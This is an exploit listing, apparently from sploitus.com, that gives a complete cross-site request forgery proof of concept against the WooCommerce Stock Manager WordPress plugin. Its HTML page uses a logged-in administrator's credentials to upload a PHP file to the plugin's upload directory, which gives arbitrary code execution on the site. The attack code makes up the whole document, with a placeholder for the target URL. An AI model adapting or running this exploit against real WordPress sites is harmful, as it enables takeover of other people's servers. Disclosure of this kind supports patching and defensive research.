Share
## https://sploitus.com/exploit?id=WPEX-ID:9B73D8FA-F7AE-4516-BD57-269C4981439F
File will upload to: /wp-content/plugins/woocommerce-stock-manager/admin/views/upload/PoC.php

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/[CHANGE_URL]\/wp-admin\/admin.php?page=stock-manager-import-export", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryegWC5CnDTRbHYnyB");
        xhr.setRequestHeader("Accept", "*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundaryegWC5CnDTRbHYnyB\r\n" +
          "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"PoC.php\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\x3c?php phpinfo();?\x3e\r\n" +
          "------WebKitFormBoundaryegWC5CnDTRbHYnyB\r\n" +
          "Content-Disposition: form-data; name=\"upload\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "------WebKitFormBoundaryegWC5CnDTRbHYnyB--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>